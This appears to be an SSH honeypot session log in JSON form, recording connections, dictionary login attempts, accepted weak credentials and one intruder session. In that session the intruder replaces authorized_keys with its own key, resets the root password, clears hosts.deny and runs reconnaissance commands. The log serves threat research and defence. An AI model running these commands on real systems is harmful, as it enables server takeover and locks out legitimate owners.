Engagement Duration: 0.0s
{
  "id": "2bf15f8355da",
  "src_ip": "13.140.177.137",
  "start_time": "2026-10-07T19:47:45.827337Z",
  "end_time": "2026-10-07T19:47:45.842171Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
218.23.192.91
2026-10-07 19:45:28.101037 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yy

Record ID: a457b71ff596
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.8s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "a457b71ff596",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:45:28.101037Z",
  "end_time": "2026-10-07T19:45:30.944294Z",
  "duration": "2.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "yy",
      "pass": "yy"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
24.94.185.220
2026-10-07 19:42:29.986764 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e565671dde5f
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "e565671dde5f",
  "src_ip": "24.94.185.220",
  "start_time": "2026-10-07T19:42:29.986764Z",
  "end_time": "2026-10-07T19:42:29.990312Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
218.23.192.91
2026-10-07 19:42:25.321494 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 73e2a67b4d09
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "73e2a67b4d09",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:42:25.321494Z",
  "end_time": "2026-10-07T19:44:25.328323Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
31.184.195.246
2026-10-07 19:40:45.681565 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8ed609c7aa89
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "8ed609c7aa89",
  "src_ip": "31.184.195.246",
  "start_time": "2026-10-07T19:40:45.681565Z",
  "end_time": "2026-10-07T19:40:45.867990Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
218.23.192.91
2026-10-07 19:39:23.612619 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: febad8e14fc6
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "febad8e14fc6",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:39:23.612619Z",
  "end_time": "2026-10-07T19:41:23.636685Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
193.46.255.86
2026-10-07 19:38:53.890908 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin /

Record ID: ff7d3b97293e
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "ff7d3b97293e",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-07T19:38:53.890908Z",
  "end_time": "2026-10-07T19:38:59.900779Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": ""
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
218.23.192.91
2026-10-07 19:36:20.447037 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6e33b9c99930
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "6e33b9c99930",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:36:20.447037Z",
  "end_time": "2026-10-07T19:38:20.467844Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
218.23.192.91
2026-10-07 19:33:17.032452 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 13cf056f98c3
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "13cf056f98c3",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:33:17.032452Z",
  "end_time": "2026-10-07T19:35:17.049436Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
67.177.164.213
2026-10-07 19:31:13.377142 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 46e0c07f9bce
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "46e0c07f9bce",
  "src_ip": "67.177.164.213",
  "start_time": "2026-10-07T19:31:13.377142Z",
  "end_time": "2026-10-07T19:31:13.380668Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
176.53.159.196
2026-10-07 19:30:30.174553 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 417557148ec1
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "417557148ec1",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-07T19:30:30.174553Z",
  "end_time": "2026-10-07T19:30:31.390528Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
218.23.192.91
2026-10-07 19:30:13.966140 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ea99d6f18593
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "ea99d6f18593",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:30:13.966140Z",
  "end_time": "2026-10-07T19:32:13.980209Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
67.177.164.213
2026-10-07 19:28:56.719919 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: add84ca312a8
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "add84ca312a8",
  "src_ip": "67.177.164.213",
  "start_time": "2026-10-07T19:28:56.719919Z",
  "end_time": "2026-10-07T19:28:56.722575Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
218.23.192.91
2026-10-07 19:27:47.122049 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 26b5d8bd20b1
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "26b5d8bd20b1",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:27:47.122049Z",
  "end_time": "2026-10-07T19:29:47.134419Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
218.23.192.91
2026-10-07 19:27:39.109601 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 60534165c401
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "60534165c401",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:27:39.109601Z",
  "end_time": "2026-10-07T19:29:39.116508Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
218.23.192.91
2026-10-07 19:27:36.238590 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 340

Credential acceptance event recorded. Target authentication: root / Spring123

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:tQwKcIqoIuYP"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: d878202573ff
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 27.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "d878202573ff",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:27:36.238590Z",
  "end_time": "2026-10-07T19:28:03.485251Z",
  "duration": "27.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Spring123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:tQwKcIqoIuYP\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:tQwKcIqoIuYP\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
2.57.121.25
2026-10-07 19:25:49.169417 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 131191

Record ID: c14981c49043
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "c14981c49043",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-07T19:25:49.169417Z",
  "end_time": "2026-10-07T19:25:55.179212Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "131191"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
218.23.192.91
2026-10-07 19:24:32.904163 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 184c4bc78dd8
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "184c4bc78dd8",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:24:32.904163Z",
  "end_time": "2026-10-07T19:26:32.929529Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
2.57.121.112
2026-10-07 19:23:02.680031 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: deshon

Record ID: febdd1bed465
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.5s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "febdd1bed465",
  "src_ip": "2.57.121.112",
  "start_time": "2026-10-07T19:23:02.680031Z",
  "end_time": "2026-10-07T19:23:09.190108Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "deshon",
      "pass": "deshon"
    },
    {
      "user": "deshon",
      "pass": "deshon1"
    },
    {
      "user": "deshon",
      "pass": "deshon123"
    },
    {
      "user": "deshon",
      "pass": "deshon1234"
    },
    {
      "user": "deshon",
      "pass": "deshon12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
218.23.192.91
2026-10-07 19:21:29.564834 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e53b6956b0f2
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "e53b6956b0f2",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:21:29.564834Z",
  "end_time": "2026-10-07T19:23:29.584105Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
218.23.192.91
2026-10-07 19:18:26.403729 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pick

Record ID: d5c3af48e544
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "d5c3af48e544",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:18:26.403729Z",
  "end_time": "2026-10-07T19:18:28.865827Z",
  "duration": "2.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "pick",
      "pass": "pick"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
218.23.192.91
2026-10-07 19:15:29.596502 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e5e53dcdd6e4
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "e5e53dcdd6e4",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:15:29.596502Z",
  "end_time": "2026-10-07T19:17:29.626121Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}